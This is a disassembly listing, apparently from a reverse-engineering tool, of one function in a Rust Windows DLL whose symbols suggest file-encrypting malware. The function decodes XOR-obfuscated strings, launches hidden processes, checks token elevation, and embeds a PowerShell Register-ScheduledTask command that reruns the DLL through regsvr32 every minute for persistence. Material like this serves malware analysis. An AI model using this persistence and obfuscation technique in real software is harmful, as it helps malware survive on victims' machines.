Function at 0x10009460
Capabilities:
Check mutex on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a0
call sym.crypt_file::proc_sens::sensitive_processes::hf238424c9c08344e
lea esi, [ebp - 0x1ac]
push esi
call sym.std::env::args::h8a5e55eda2469a2e
add esp, 4
lea eax, [ebp - 0x19c]
push esi
push eax
call sym.__ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17hcc45eb437
add esp, 8
mov ecx, dword [ebp - 0x194]
test ecx, ecx
mov eax, ecx
mov dword [ebp - 0x154], ecx
je 0x1000a79a
mov eax, dword [ebp - 0x198]
xor ebx, ebx
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x154]
lea eax, [eax*4]
lea eax, [eax + eax*2]
mov dword [ebp - 0x10], eax
jmp 0x100094dc
add ebx, 0xc
cmp dword [ebp - 0x10], ebx
je 0x1000a79a
mov eax, dword [ebp - 0x12c]
lea ecx, [ebp - 0x58]
mov edi, dword [eax + ebx + 4]
mov esi, dword [eax + ebx + 8]
lea eax, [0x1016a1b1]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], 0xff257580
push dword [ebp - 0x58]
push eax
call sym.obfstr::xref::inner::he98a5e9fba15979f
add esp, 8
mov ecx, dword [eax]
mov edx, 0x79055f85
xor ecx, edx
mov edx, dword [eax + 4]
movzx eax, word [eax + 8]
mov dword [ebp - 0x104], ecx
mov ecx, 0x8c47491f
xor al, 0xd
xor edx, ecx
xor ah, 0xee
cmp esi, 0xa
mov dword [ebp - 0x100], edx
mov byte [ebp - 0xfc], al
mov byte [ebp - 0xfb], ah
jne 0x100094d0
push 0xa
lea eax, [ebp - 0x104]
push eax
push edi
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100094d0
lea eax, [ebp - 0x104]
push eax
call sym.crypt_file::get_own_dll_path::hab7d62b411931ff6
add esp, 4
cmp dword [ebp - 0x104], 0x80000000
je 0x1000a812
mov eax, dword [ebp - 0xfc]
movsd xmm0, qword [ebp - 0x104]
mov dword [ebp - 0x17c], eax
movsd qword [ebp - 0x184], xmm0
lea eax, [ebp - 0x104]
push eax
call sym.crypt_file::get_own_dll_path::hab7d62b411931ff6
add esp, 4
mov eax, dword [ebp - 0x104]
cmp eax, 0x80000000
mov dword [ebp - 0x24], eax
je 0x1000a828
mov eax, dword [ebp - 0x100]
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x128], eax
lea eax, [0x1015fe17]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x104], 0x9a42fe4c
push dword [ebp - 0x104]
push eax
call sym.obfstr::xref::inner::hf71b9a6d0018a7e8
add esp, 8
mov ecx, 0xdc877891
mov edx, 0x413d6a3b
mov esi, 0x6335fcc6
mov edi, 0x49070090
mov ebx, 0x8bbfd75a
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0x5bc151f0
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x178], eax
lea eax, [0x1015eb30]
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x170], esi
mov dword [ebp - 0x16c], edi
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x164], ecx
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x104], 0xa90567a5
push dword [ebp - 0x104]
push eax
call sym.obfstr::xref::inner::hd78dc27dbe51fd8b
add esp, 8
mov ecx, 0x63139e5d
mov edi, 0x6d830cb5
mov esi, 0x8ea0fd5f
mov edx, 0xb061ee9a
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0xbdef011
xor ecx, dword [eax + 4]
mov dword [ebp - 0x14], ecx
mov ecx, 0x6e4be51f
xor ecx, dword [eax + 8]
mov dword [ebp - 0x18], ecx
mov ecx, 0x4fe9810b
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x20], ecx
mov ecx, 0x86d3030f
xor ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c], ecx
mov ecx, 0x30e09a96
xor ecx, dword [eax + 0x14]
mov dword [ebp - 0x28], ecx
mov ecx, 0x55fb22af
xor ecx, dword [eax + 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, 0x4759578
xor ecx, dword [eax + 0x1c]
mov dword [ebp - 0x64], ecx
mov ecx, 0x3befe023
xor edi, dword [eax + 0x20]
xor esi, dword [eax + 0x24]
xor edx, dword [eax + 0x28]
xor ecx, dword [eax + 0x2c]
movzx eax, byte [eax + 0x30]
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x104], ebx
mov ebx, dword [ebp - 0x14]
xor al, 0x16
mov dword [ebp - 0x100], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0xfc], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0xf8], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0xf4], ebx
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0xf0], ebx
mov ebx, dword [ebp - 0x5c]
mov dword [ebp - 0xec], ebx
mov ebx, dword [ebp - 0x64]
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], edi
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xdc], edx
mov dword [ebp - 0xd8], ecx
mov byte [ebp - 0xd4], al
lea eax, [0x1016be6f]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], 0xcf6d2f62
push dword [ebp - 0x58]
push eax
call sym.obfstr::xref::inner::heeb81eb4a45623b7
add esp, 8
mov ecx, 0x3fc23698
mov edi, 0x7edc807d
mov esi, 0x34b9b594
mov edx, 0x436da6b1
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0x5b304810
xor ecx, dword [eax + 4]
mov dword [ebp - 0x14], ecx
mov ecx, 0x147e4029
xor ecx, dword [eax + 8]
mov dword [ebp - 0x18], ecx
mov ecx, 0x531acc94
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x20], ecx
mov ecx, 0x5b8173d0
xor ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c], ecx
mov ecx, 0xca926c8d
xor ecx, dword [eax + 0x14]
mov dword [ebp - 0x28], ecx
mov ecx, 0x67726e8c
xor ecx, dword [eax + 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, 0xc450ec
xor edi, dword [eax + 0x1c]
xor esi, dword [eax + 0x20]
xor edx, dword [eax + 0x24]
xor ecx, dword [eax + 0x28]
movzx eax, byte [eax + 0x2c]
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x7c], 0x20
mov byte [ebp - 0x6c], 3
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x58], ebx
mov ebx, dword [ebp - 0x14]
add al, 0x80
mov dword [ebp - 0x54], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x5c]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], 0x1011e75c
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0x138]
push eax
push ecx
call sym.__LT_std..path..Display_u20_as_u20_core..fmt..Display_GT_::fmt::h2549e7ecba0cc2cc
add esp, 8
test al, al
jne 0x1000a841
mov eax, dword [ebp - 0x11c]
movsd xmm0, qword [ebp - 0x124]
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x90], eax
lea eax, [0x101612b4]
movsd qword [ebp - 0x98], xmm0
mov dword [ebp - 0x8c], eax
mov esi, dword [ebp - 0x94]
lea eax, [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x8c], 0xef5ed70f
push dword [ebp - 0x8c]
push eax
call sym.obfstr::xref::inner::haa7baf4c47b5ca46
add esp, 8
mov ecx, 0x3bf799e6
mov edi, 0x4bd5ff6f
mov edx, 0x7334cb13
xor ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov ecx, 0xd1ac8de3
xor ecx, dword [eax + 4]
mov dword [ebp - 0x20], ecx
mov ecx, 0x4209708b
xor ecx, dword [eax + 8]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], ecx
mov ecx, 0xef1cf667
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x28], ecx
mov ecx, 0xa08d1938
xor edi, dword [eax + 0x10]
xor edx, dword [eax + 0x14]
xor ecx, dword [eax + 0x18]
movzx ebx, byte [eax + 0x1e]
movzx eax, word [eax + 0x1c]
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0x124], esi
mov esi, dword [ebp - 0x20]
xor al, 0x4d
xor ah, 5
xor bl, 0xe9
mov dword [ebp - 0x120], esi
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x11c], esi
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x114], edi
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], ecx
mov byte [ebp - 0x108], al
mov byte [ebp - 0x107], ah
lea eax, [ebp - 0x178]
mov esi, dword [ebp - 0x14]
mov byte [ebp - 0x106], bl
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x104]
mov dword [ebp - 0x88], 0x18
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x80], 0x31
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x78], 0x2d
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], 0x1f
lea ebx, [ebp - 0x144]
push 0
push 1
push 5
lea eax, [ebp - 0x8c]
push eax
push ebx
call sym.alloc::str::join_generic_copy::h0d52d2b79f3d6f33
add esp, 0x14
mov eax, dword [ebp - 0x13c]
movsd xmm0, qword [ebp - 0x144]
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x98]
movsd qword [ebp - 0x160], xmm0
test eax, eax
je 0x10009a70
push 1
push eax
push esi
call sym.___rust_dealloc
add esp, 0xc
lea eax, [0x1016254f]
lea esi, [ebp - 0x104]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x104], 0x710b108
push dword [ebp - 0x104]
push eax
call sym.obfstr::xref::inner::hc976524b5cd60250
add esp, 8
mov ecx, 0x1776a587
mov edx, 0xbb02a8e4
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0x8b
xor ah, 0xa2
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x88], edx
mov byte [ebp - 0x84], al
mov byte [ebp - 0x83], ah
push 0xa
lea eax, [ebp - 0x8c]
push eax
push esi
call sym.std::sys::pal::windows::process::Command::new::h0f6c01114ae5c407
add esp, 0xc
lea eax, [0x1016ca90]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], 0xbf410223
push dword [ebp - 0x58]
push eax
call sym.obfstr::xref::inner::h8d18bd5daa12a07f
add esp, 8
mov ecx, 0xaaa6ba04
mov edx, 0xc1269a17
xor ecx, dword [eax]
xor edx, dword [eax + 4]
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], ecx
push 8
push ebx
push esi
call sym.std::sys::pal::windows::process::Command::arg::hfb825d163ed206be
add esp, 0xc
mov eax, dword [ebp - 0x15c]
push dword [ebp - 0x158]
mov dword [ebp - 0x5c], eax
push eax
push esi
call sym.std::sys::pal::windows::process::Command::arg::hfb825d163ed206be
add esp, 0xc
mov dword [ebp - 0xac], 0x8000000
push esi
lea eax, [ebp - 0x58]
push eax
call sym.std::process::Command::output::h0200d2a70bf141db
add esp, 8
cmp dword [ebp - 0x58], 0x80000000
je 0x1000a866
mov eax, dword [ebp - 0x40]
movsd xmm0, qword [ebp - 0x48]
movsd xmm2, qword [ebp - 0x58]
movsd xmm1, qword [ebp - 0x50]
mov dword [ebp - 0x10c], eax
movsd qword [ebp - 0x114], xmm0
movsd qword [ebp - 0x11c], xmm1
movsd qword [ebp - 0x124], xmm2
lea ecx, [ebp - 0x104]
call sym.core::ptr::drop_in_place_LT_std..process..Command_GT_::h1d33e79b05a5b74c
cmp dword [ebp - 0x10c], 0
je 0x1000a3f7
call sym.rand::rngs::thread::thread_rng::hf2b6bd3e7a250c24
mov esi, eax
mov dword [ebp - 0x144], eax
lea eax, [0x10164b8a]
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x104], 0x39cb675a
push dword [ebp - 0x104]
push eax
call sym.obfstr::xref::inner::h8f2a47d84404f7a0
add esp, 8
mov ecx, 0xc93be9f
mov edx, 0x134c04df
mov ebx, 0xe9220bb4
mov edi, 0xa2cf2c5e
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor ebx, dword [eax + 8]
xor edi, dword [eax + 0xc]
lea eax, [ebp - 0xf4]
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x100], edx
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0xf8], edi
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x178]
push eax
call sym.__ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h11fef5803
add esp, 0xc
lea eax, [0x10165bf1]
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x104], 0x9b983da2
push dword [ebp - 0x104]
push eax
call sym.obfstr::xref::inner::h9cfbfb3d91005416
add esp, 8
mov ecx, 0xf9c8373c
mov ebx, 0x7c3b4462
mov edi, 0x8256c919
mov edx, 0x35cd50c3
xor ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, 0x1ad6ddcb
xor ecx, dword [eax + 4]
mov dword [ebp - 0x14], ecx
mov ecx, 0xec9472fc
xor ecx, dword [eax + 8]
mov dword [ebp - 0x18], ecx
mov ecx, 0x3bb3b0b9
xor ecx, dword [eax + 0xc]
mov dword [ebp - 0x20], ecx
mov ecx, 0xf9327b0b
xor ecx, dword [eax + 0x10]
mov dword [ebp - 0x1c], ecx
mov ecx, 0x657a9a09
xor ebx, dword [eax + 0x14]
xor edi, dword [eax + 0x18]
xor edx, dword [eax + 0x1c]
xor ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xe0]
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xec], edi
mov dword [ebp - 0xe8], edx
mov dword [ebp - 0xe4], ecx
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x8c]
push eax
call sym.__ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h11fef5803
add esp, 0xc
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x84]
test eax, eax
je 0x1000a02a
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x170]
lea ebx, [esi + 8]
xor edi, edi
mov dword [ebp - 0x20], ebx
lea eax, [ecx + eax*4]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
mov eax, esi
add eax, 0x110
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x28], eax
jmp 0x10009dc9
mov eax, dword [ebp - 0x54]
mov byte [eax + edi], bl
inc edi
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], edi
add ecx, 4
cmp ecx, dword [ebp - 0x18]
je 0x1000a02a
mov ebx, dword [ecx]
mov dword [ebp - 0x14], ecx
cmp ebx, 0x77
jg 0x10009df0
cmp ebx, 0x2d
je 0x10009de1
cmp ebx, 0x34
jne 0x1000a7c7
cmp edi, dword [ebp - 0x58]
jne 0x10009db0
jmp 0x10009f36
cmp ebx, 0x78
je 0x10009e80
cmp ebx, 0x79
jne 0x1000a7c7
mov edi, dword [esi + 0x108]
mov ebx, dword [ebp - 0x20]
jmp 0x10009e32
xor edi, edi
mov ecx, dword [ebp - 0x10]
mov edx, ebx
call sym.__ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h8ccd8f7159463542E.llvm.1820001878035156
mov eax, dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
test eax, 0x10000000
je 0x10009f10
cmp edi, 0x40
jb 0x10009e1c
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x10009e10
cmp dword [esi + 0x150], 0
js 0x10009e10
add eax, 0xffffff00
adc ecx, 0xffffffff
xor edi, edi
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov ecx, dword [ebp - 0x10]
mov edx, ebx
call sym.__ZN84__LT_rand_chacha..chacha..ChaCha12Core_u20_as_u20_rand_core..block..BlockRngCore_GT_8generate17h95c65d278d3cdb19E.llvm.1
jmp 0x10009e1c
mov edi, dword [esi + 0x108]
mov ebx, dword [ebp - 0x20]
jmp 0x10009eae
xor edi, edi
mov ecx, dword [ebp - 0x10]
mov edx, ebx
call sym.__ZN4rand4rngs7adapter9reseeding29ReseedingCore_LT_R_C_Rsdr_GT_19reseed_and_generate17h8ccd8f7159463542E.llvm.1820001878035156
mov eax, dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
test eax, 0x8000000
je 0x10009f00
cmp edi, 0x40
jb 0x10009e9c
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x10009e90
cmp dword [esi + 0x150], 0
js 0x10009e90
add eax, 0xffffff00
adc ecx, 0xffffffff
xor edi, edi
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov ecx, dword [ebp - 0x10]
mov edx, ebx
call sym.__ZN84__LT_rand_chacha..chacha..ChaCha12Core_u20_as_u20_rand_core..block..BlockRngCore_GT_8generate17h95c65d278d3cdb19E.llvm.1
jmp 0x10009e9c
shr eax, 0x1c
cmp eax, dword [ebp - 0x1c]
jb 0x10009f1f
jmp 0x1000a7b0
shr eax, 0x1d
or eax, 8
cmp eax, dword [ebp - 0x1c]
jae 0x1000a7a9
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ecx + eax*4]
cmp ebx, 0x7f
ja 0x10009f50
mov edi, dword [ebp - 0x50]
cmp edi, dword [ebp - 0x58]
jne 0x10009db0
lea eax, [ebp - 0x58]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::ha1ec1d8a1f5bcc5f
add esp, 4
jmp 0x10009db0
mov eax, ebx
cmp ebx, 0x800
mov dword [ebp - 0x104], 0
jae 0x10009f82
shr eax, 6
and bl, 0x3f
mov edi, 2
or al, 0xc0
or bl, 0x80
mov byte [ebp - 0x104], al
mov byte [ebp - 0x103], bl
jmp 0x10009ff1
cmp ebx, 0x10000
jae 0x10009fb7
shr eax, 0xc
mov edi, 3
or al, 0xe0
mov byte [ebp - 0x104], al
mov eax, ebx
and bl, 0x3f
shr eax, 6
or bl, 0x80
and al, 0x3f
or al, 0x80
mov byte [ebp - 0x103], al
mov byte [ebp - 0x102], bl
jmp 0x10009ff1
shr eax, 0x12
mov edi, 4
or al, 0xf0
mov byte [ebp - 0x104], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [ebp - 0x103], al
mov eax, ebx
and bl, 0x3f
shr eax, 6
or bl, 0x80
and al, 0x3f
or al, 0x80
mov byte [ebp - 0x102], al
mov byte [ebp - 0x101], bl
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x50]
sub ecx, eax
cmp ecx, edi
jae 0x1000a00e
push edi
push eax
lea eax, [ebp - 0x58]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::h191687c3178d683b
add esp, 0xc
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x54]
push edi
lea ecx, [ebp - 0x104]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
add edi, dword [ebp - 0x50]
jmp 0x10009db7
mov eax, dword [ebp - 0x150]
test eax, eax
je 0x1000a045
shl eax, 2
push 4
push eax
push dword [ebp - 0x64]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x50]
movsd xmm0, qword [ebp - 0x58]
lea edi, [ebp - 0x8c]
lea ebx, [ebp - 0x144]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x178]
movsd qword [ebp - 0x138], xmm0
test eax, eax
je 0x1000a085
shl eax, 2
push 4
push eax
push dword [ebp - 0x174]
call sym.___rust_dealloc
add esp, 0xc
dec dword [esi]
jne 0x1000a09e
dec dword [esi + 4]
jne 0x1000a09e
push 8
push 0x158
push esi
call sym.___rust_dealloc
add esp, 0xc
lea eax, [ebp - 0x138]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x104], 0x1016c8c0
mov dword [ebp - 0x100], 2
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x54], fcn.10009400
mov dword [ebp - 0xf8], 1
lea esi, [ebp - 0x104]
push esi
push ebx
call sym.alloc::fmt::format::format_inner::h50f5774af0e74e13
add esp, 8
movsd xmm0, qword [ebp - 0x144]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x104], 0
movsd qword [ebp - 0x98], xmm0
mov dword [ebp - 0x90], eax
call sub.kernel32.dll_GetCurrentProcess
push edi
push 8
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x1000a1df
push esi
push 4
lea eax, [ebp - 0x58]
push eax
push 0x14
push dword [ebp - 0x8c]
call sub.advapi32.dll_GetTokenInformation
mov esi, eax
push dword [ebp - 0x8c]
call sub.kernel32.dll_CloseHandle
test esi, esi
lea esi, [ebp - 0x104]
je 0x1000a1df
cmp dword [ebp - 0x58], 0
je 0x1000a1df
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x128]
lea edx, [ebp - 0x98]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], sym.__LT_std..path..Display_u20_as_u20_core..fmt..Display_GT_::fmt::h2549e7ecba0cc2cc
mov dword [ebp - str.Register_ScheduledTask__Action__New_ScheduledTaskAction__Execute__regsvr32___Argument___S__i:INSTALL_____Trigger__New_ScheduledTaskTrigger__Once__At__Get_Date_.AddMinutes_1___RepetitionInterval__New_TimeSpan__Minutes_1____TaskName___Description_Default__Settings__New_ScheduledTaskSettingsSet__AllowStartIfOnBatteries__DontStopIfGoingOnBatteries_], 0x1016cad0
mov dword [ebp - 0x100], 3
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], fcn.10009400
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0xf8], 2
push esi
lea esi, [ebp - 0x178]
push esi
call sym.alloc::fmt::format::format_inner::h50f5774af0e74e13
add esp, 8
jmp 0x1000a251
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], sym.__LT_std..path..Display_u20_as_u20_core..fmt..Display_GT_::fmt::h2549e7ecba0cc2cc
mov dword [ebp - str.Register_ScheduledTask__Action__New_ScheduledTaskAction__Execute__regsvr32___Argument___S__i:INSTALL_____Trigger__New_ScheduledTaskTrigger__Once__At__Get_Date_.AddMinutes_1___RepetitionInterval__New_TimeSpan__Minutes_1____TaskName___Description_Default__Settings__New_ScheduledTaskSettingsSet__AllowStartIfOnBatteries__DontStopIfGoingOnBatteries_], 0x1016ca30
mov dword [ebp - 0x100], 3
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x98]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x4c], fcn.10009400
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], 2
mov eax, esi
lea esi, [ebp - 0x178]
push eax
push esi
call sym.alloc::fmt::format::format_inner::h50f5774af0e74e13
add esp, 8
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov esi, dword [esi + 8]
lea ebx, [ebp - 0x104]
mov dword [ebp - 0x10], eax
lea eax, [0x10160f9a]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x104], 0x67c22e7d
push dword [ebp - 0x104]
push eax
call sym.obfstr::xref::inner::h242f30f819b6373d
add esp, 8
mov ecx, 0x7fae3785
mov edx, 0x9287ae6a
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0x2f
xor ah, 0x64
mov dword [ebp - 0x190], ecx
mov dword [ebp - 0x18c], edx
mov byte [ebp - 0x188], al
mov byte [ebp - 0x187], ah
lea eax, [ebp - 0x190]
push 0xa
push eax
push ebx
call sym.std::sys::pal::windows::process::Command::new::h0f6c01114ae5c407
add esp, 0xc
push esi
push dword [ebp - 0x10]
push ebx
call sym.std::sys::pal::windows::process::Command::arg::hfb825d163ed206be
add esp, 0xc
mov dword [ebp - 0xac], 0x8000000
push ebx
lea eax, [ebp - 0x58]
push eax
call sym.std::process::Command::output::h0200d2a70bf141db
add esp, 8
lea eax, [0x1016139d]
lea esi, [ebp - 0x14c]
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x14c]
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x14c], 0xf1b9f0b8
push dword [ebp - 0x14c]
push eax
call sym.obfstr::xref::inner::hf7d0bf523a0510bc
add esp, 8
cmp dword [ebp - 0x58], 0x80000000
je 0x1000a8cb
mov eax, dword [ebp - 0x40]
movsd xmm0, qword [ebp - 0x48]
movsd xmm2, qword [ebp - 0x58]
movsd xmm1, qword [ebp - 0x50]
mov dword [ebp - 0x74], eax
movsd qword [ebp - 0x7c], xmm0
movsd qword [ebp - 0x84], xmm1
movsd qword [ebp - 0x8c], xmm2
lea ecx, [ebp - 0x104]
call sym.core::ptr::drop_in_place_LT_std..process..Command_GT_::h1d33e79b05a5b74c
cmp dword [ebp - 0x74], 0
je 0x1000a695
mov eax, dword [ebp - 0x8c]
test eax, eax
je 0x1000a397
push 1
push eax
push dword [ebp - 0x88]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x80]
test eax, eax
je 0x1000a3ac
push 1
push eax
push dword [ebp - 0x7c]
call sym.___rust_dealloc
add esp, 0xc
test edi, edi
je 0x1000a3be
push 1
push edi
push dword [ebp - 0x10]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x98]
test eax, eax
je 0x1000a3d9
push 1
push eax
push dword [ebp - 0x94]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x138]
mov edi, dword [ebp - 0x24]
test eax, eax
je 0x1000a3f7
push 1
push eax
push dword [ebp - 0x134]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x124]
test eax, eax
je 0x1000a412
push 1
push eax
push dword [ebp - 0x120]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x118]
test eax, eax
je 0x1000a42d
push 1
push eax
push dword [ebp - 0x114]
call sym.___rust_dealloc
